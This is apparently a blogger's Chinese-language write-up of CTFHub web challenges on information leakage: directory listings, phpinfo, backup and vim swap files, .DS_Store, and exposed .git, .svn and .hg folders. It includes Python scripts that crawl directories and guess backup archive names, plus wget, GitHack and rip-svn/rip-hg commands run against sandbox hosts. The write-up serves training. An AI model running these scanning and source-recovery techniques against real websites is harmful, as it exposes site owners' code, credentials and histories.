【慕伏白】CTFHub 技能树学习笔记 -- Web 之信息泄露
文章目录
- 1 目录遍历
- 2 PHPINFO
- 3 备份文件下载
- 3.1 网站源码
- 3.2 bak 文件
- 3.3 vim 缓存
- 3.4 .DS_Store
- 4 Git 泄露
- 4.1 漏洞解析
- .git 泄露怎么利用?
- .git 泄露会造成什么危害?
- .git 泄露是怎么发生的?
- 4.2 Log
- 4.3 Stash
- 4.4 Index
- 5 SVN 泄露
- 6 HG 泄露
- 7 引用
1 目录遍历
- 打开链接,如下图所示;
- 开始寻找后,发现是一个个文件夹,文件夹深度不高,可以一个一个试出来,如下图所示;
- 也可以通过寻找 flag 的建议脚本,如下图所示;
若文件夹深度不定,flag 存放文件名未知时,此脚本不可用;
- 以下为解决未知深度目录遍历的 python 脚本;
#!/usr/bin/env python
# _*_ coding:utf-8 _*_
# mfbmorphbai
import requests
from bs4 import BeautifulSoup
from urllib.parse import urljoin# 初始目录URL
url = "http://challenge-99b404265ef5da52.sandbox.ctfhub.com:10800/"
base_url = url + "/flag_in_here"
# 存储已访问的URL,避免重复遍历
visited = set()
# 找到的flag结果
found_flags = []def check_file(file_url):"""检查单个文件内容是否包含flag"""try:response = requests.get(file_url, timeout=10)response.encoding = 'utf-8'content = response.textif "flag{" in content or "FLAG{" in content or "ctfhub{" in content:return True, contentreturn False, contentexcept requests.exceptions.RequestException as e:print(f"[-] 访问文件 {file_url} 出错: {str(e)}")return False, ""def scan_directory(current_url):"""递归扫描目录,检查所有文件内容"""# 避免重复访问if current_url in visited:returnvisited.add(current_url)try:# 发送请求获取目录页面response = requests.get(current_url, timeout=10)response.encoding = 'utf-8'content = response.text# 解析页面中的链接soup = BeautifulSoup(content, 'html.parser')links = soup.find_all('a', href=True)for link in links:href = link['href']# 拼接完整URLnext_url = urljoin(current_url, href)# 过滤掉已访问的链接if next_url in visited:continue# 判断是目录还是文件if href.endswith('/') or next_url.endswith('/'):# 目录,递归扫描print(f"[*] 进入目录: {next_url}")scan_directory(next_url)else:# 文件,检查内容print(f"[*] 检查文件: {next_url}")has_flag, file_content = check_file(next_url)if has_flag:found_flags.append(f"在文件 {next_url} 中找到flag")print(f"[+] 找到flag: {next_url}")except requests.exceptions.RequestException as e:print(f"[-] 访问目录 {current_url} 出错: {str(e)}")returnif __name__ == "__main__":print(f"开始从 {base_url} 递归扫描文件...")scan_directory(base_url)# 输出所有找到的flagif found_flags:print("\n===== 找到的flag结果 =====")for flag in found_flags:print(flag)else:print("\n未找到包含flag的文件")
- flag 文件如下图所示;
2 PHPINFO
- 打开链接,如下图所示;
- 点击进入,查看 phpinfo ,如下图所示;
CTRL + F
搜索关键字,即可找到 flag ,如下图所示;
3 备份文件下载
3.1 网站源码
- 打开链接,如下图所示;
- 使用 python 脚本遍历文件,如下图所示;
# mfbmorphbai
import requestsurl = "http://challenge-42881a051454d37a.sandbox.ctfhub.com:10800/"li1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
li2 = ['tar', 'tar.gz', 'zip', 'rar']
valid_links = []
for i in li1:for j in li2:url_final = f"{url}/{i}.{j}"try:# 发送请求,不重定向,超时设置为5秒r = requests.get(url_final, allow_redirects=False, timeout=5)# 打印所有请求的状态码和链接(便于调试)print(f"状态码: {r.status_code} - 链接: {url_final}")# 检查是否返回200 OKif r.status_code == 200:valid_links.append(url_final)except requests.exceptions.RequestException as e:print(f"请求错误 - 链接: {url_final} - 错误: {str(e)}")# 单独显示所有有效的200链接
if valid_links:print("\n===== 找到以下返回200的有效链接 =====")for link in valid_links:print(f"{link}")
else:print("\n未找到返回200的有效链接")
- 下载并访问文件,有种被晃点的感觉;
wget http://challenge-42881a051454d37a.sandbox.ctfhub.com:10800//www.zip
unzip www.zip
vim flag_1688410322.txt
- 这一小节的题目是 备份文件,说明我们下载的只是备份文件,在网页中查看原文件,即可发现 flag ;
3.2 bak 文件
- 打开链接,如下图所示,翻译过来的意思是, flag 在首页的源码里;
- 查看是否存在首页的备份文件(备份文件一般为.bak),即可发现 flag ,如下图所示;
3.3 vim 缓存
- 打开链接,如下图所示;
- 这道题的题目指的是 vim 缓存,由于 vim 一旦异常退出就会生成
.swp
隐藏文件(隐藏文件前缀加.
,如.index.php.swp
),下载该缓存文件,并打开,如下图所示;
wget http://challenge-f8a6def4c18b7231.sandbox.ctfhub.com:10800/.index.php.swp
vim .index.php.swp
- 修复该文件,再次打开,即可发现 flag ,如下图所示;
vim -r .index.php.swp
- 可用 vim 另存后打开,然后右键复制,如下图所示;
:w ~/Document/index.php.bak
cat index.php.bak
3.4 .DS_Store
- 打开链接,如下图所示;
- 题干里有提示,如下图所示;
- 尝试下载
.DS_Store
,下载后使用cat
查看,如下图所示,找到 flag 线索;
- 打开这个文件,即可找到 flag ,如下图所示;
4 Git 泄露
4.1 漏洞解析
.git 泄露怎么利用?
- 当你的网站根目录下存在 .git 文件夹,并且该文件夹被错误地暴露在公网上时,攻击者就可以通过访问 .git 文件夹获取到你的项目代码、提交记录、分支信息等等敏感信息。
- 访问源码:攻击者可以下载 .git 目录,并还原出完整的源码,包括可能敏感的配置文件、数据库凭据等。
- 获取历史版本:攻击者可以查看项目的历史提交记录,找到敏感信息,例如在历史版本中意外提交的密码。
- 分析开发历史:攻击者可以分析提交日志、分支结构等,了解开发流程和关键变更点,甚至发现潜在的漏洞。
.git 泄露会造成什么危害?
- 代码泄露: 攻击者可以获取到你的项目代码,并将其用于恶意目的,例如进行代码分析、代码窃取、修改代码等。
- 敏感信息泄露: 攻击者可以获取到你的提交历史记录,从中找出开发者使用的账号密码、数据库连接信息、API 密钥等等敏感信息。
- 项目安全漏洞: 攻击者可以利用你项目代码中的安全漏洞,进行攻击,例如 SQL 注入、跨站脚本攻击等等。
.git 泄露是怎么发生的?
- 错误配置: 开发人员将 .git 文件夹错误地放置在网站根目录下,导致它被暴露在公网上。
- 网站漏洞: 网站存在漏洞,例如文件上传漏洞,攻击者可以利用漏洞上传恶意文件,并将其写入网站根目录下,从而创建 .git 文件夹。
4.2 Log
- 启动关卡,题干里面给出了提示:请尝试使用 BugScanTeam 的 GitHack 完成本题 ,如下图所示;
- GitHack 下载地址:GitHack ;
- 在线 GitHack :在线 GitHack ;
- 打开链接,如下图所示;
-
根据提示,下载
GitHack
,并运行项目内的GitHack.py
文件,如下图所示;# 代码运行格式,需要使用 python2 python2 GitHack.py [url]/.git
- 运行成功后,进入
dist
目录,进入新增的文件夹,如下图所示;
- 执行
git show
,显示当前目录下的 Git 对象信息,即可发现 flag ,如下图所示;
4.3 Stash
git stash
命令将所有修改(包括新增的文件)暂存起来;
git stash pop
命令将暂存区中的最新的stash
恢复到工作目录,并且从stash
列表中移除该stash
;
git stash apply --index stash@{0}
命令用于将指定的stash
应用到当前工作目录,并恢复储藏时的暂存区状态,不删除当前stash
;
git stash list
命令用于查看当前存储的所有 stash(暂存)的列表;
- 打开链接,如下图所示;
- 运行
GitHack.py
并进入新增文件夹,查看当前的stash
列表,发现暂存区非空,如下图所示;
- 恢复这个
stash
,发现多了一个.txt
文件,打开文件即可找到 flag ;
4.4 Index
- 打开链接,如下图所示;
- 运行
GitHack.py
并进入新增文件夹,发现存在.txt
文件,打开即可找到 flag ,如下图所示;
5 SVN 泄露
- 下载 SVN 文件源代码泄露漏洞利用工具,如下图所示,在文件 ReadMe 中可以看到执行指令;
- 下载地址:SVN 文件源代码泄露漏洞利用工具 ;
./rip-svn.pl -v -u http://www.example.com/.svn/
使用
svn checkout
后,项目目录下会生成隐藏的.svn
文件夹( Linux 上用ls
命令看不到,要用ls -alh
命令);
svn1.6 及以前版本会在项目的每个文件夹下都生成一个.svn
文件夹,里面包含了所有文件的备份,文件名为.svn/text-base/文件名.svn-base
;
svn1.7 及以后版本则只在项目根目录生成一个.svn
文件夹,里面的pristine
文件夹里包含了整个项目的所有文件备份;
- 安装依赖;
sudo apt-get install perl libio-socket-ssl-perl libdbd-sqlite3-perl libclass-dbi-perl libio-all-lwp-perl
sudo apt-get install libparallel-forkmanager-perl libredis-perl libalgorithm-combinatorics-perl
sudo apt-get install cvs subversion git bzr mercurial
- 打开链接,如下图所示;
- 执行指令,如下图所示;
./rip-svn.pl -v -u http://challenge-442a5a786e5d7b88.sandbox.ctfhub.com:10800/.svn/
- 执行后,当前文件夹会多出一个隐藏文件夹
.svn
,使用ll -alh
查看,如下图所示;
- 进入目录
.svn/pristine/
,打开文件夹,即可找到 flag ,如下图所示;
6 HG 泄露
- 同样使用上述漏洞利用工具,在文件 ReadMe 中可以看到执行指令;
./rip-hg.pl -s -v -u http://www.example.com/.hg/
- 打开链接,如下图所示;
- 执行指令,如下图所示;
./rip-hg.pl -s -v -u http://challenge-461f15616c011f28.sandbox.ctfhub.com:10800/.hg/
- 在
.hg
文件夹下,搜索带有 flag 字符串的文件,可以找到一个.txt
文件,如下图所示;
grep -r flag *
- 回到网页,进入这个文件,即可找到 flag ,如下图所示;
7 引用
[1] 渗透测试 | 实战从.Git目录泄露导致信息泄露和任意文件读取
[2] CTFHUB技能树(全详细解析含进阶)